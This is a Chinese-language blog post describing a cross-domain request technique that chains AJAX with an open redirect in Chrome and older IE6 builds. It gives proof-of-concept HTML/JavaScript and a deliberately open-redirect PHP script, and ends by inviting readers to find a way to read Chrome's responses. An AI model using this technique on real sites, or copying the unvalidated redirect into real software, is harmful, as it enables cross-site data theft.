AJAX结合URL转发漏洞跨域提交数据

by 空虚浪子心

Chrome浏览器,在使用ajax的时候,通过url转发漏洞的配合,可以跨域提交数据(但是不能读取返回数据)。

IE6的某些版本(不知道是什么版本,在家里和某个网吧成功了),通过用户点“确定”后,也是可以跨域提交并读取数据的。

通过url转发漏洞,才可以跨域。

下面是数据流程:

1.jpg

先请求存在URL转发漏洞的页面redirect.php。该页面返回"location : www.target.com"。

于是浏览器又请求了一次www.target.com

在这里,FF和IE7以上,以及IE6某些无漏洞的版本,都是爆出权限错误的。

Chrome的漏洞:

Chrome在ajax接到302跳转之后,会给www.target.com发一个get请求的包,而www.target.com就返回了数据。

可惜返回数据后,js中的xmlhttp并没有办法读取返回的数据。否则漏洞就大了。

如图是paros得到的数据包:

2.jpg

—————————————–

IE6某些版本存在漏洞:

但是IE6的某些版本,通过用户的确认后,就可以跨域读取数据了:

1.jpg

用户通常会点确定。

2.jpg

点了确定后,alert出sohu那里抓来的信息。

下面是代码:

XML/HTML代码
  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">  
  2. <!– saved from url=(0046)http://inbreak.net/kxlzxtest/haha/ajax.htm –>  
  3. <HTML><HEAD>  
  4. <META http-equiv=Content-Type content="text/html; charset=gb2312">  
  5. <META content="MSHTML 6.00.6000.16825" name=GENERATOR></HEAD>  
  6. <BODY>  
  7. <DIV id=divid height="600" width="600" name="divid"><INPUT onclick=doMyAjax() type=button value=aaa> </DIV>  
  8. <SCRIPT>  
  9. var xmlHttp;   
  10. var tmpdiv;   
  11. function createXMLHttp(){   
  12.     if(window.XMLHttpRequest){   
  13.         xmlHttp = new XMLHttpRequest();           
  14.     }   
  15.     else if(window.ActiveXObject){   
  16.         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
  17.     }   
  18. }   
  19. function startRequest(doUrl){   
  20.     createXMLHttp();   
  21.     xmlHttp.open("GET", doUrl, false);   
  22.        
  23.     xmlHttp.send(null);   
  24.     setTimeout("alert(xmlHttp.responseText)",3000);   
  25. }    
  26. function doMyAjax()   
  27. {   
  28.     var time = Math.random();   
  29.     var strPer = ‘http://inbreak.net/kxlzxtest/haha/redirect.php?done=http://www.sohu.com’+String.fromCharCode(38)+’time=’+time;   
  30.     startRequest(strPer);   
  31.   
  32. }   
  33.   
  34. </SCRIPT>  
  35. </BODY></HTML>  

请注意,在使用的时候,因为是get请求,而done需要的变量中有“&”符号,所以必须使用“ String.fromCharCode(38) ”来代替。否则会产生截断。

redirect.php代码很简单:

PHP代码
  1. <?php    
  2. $kxlzx = "Location: ".$_GET["done"];   
  3. header($kxlzx);   
  4. exit;   
  5. ?>  

对于chrome这里,没办法读取目标域返回的数据,深感遗憾,所以发出来这篇文章,大家想想办法。

发表评论?

0 条评论。

发表评论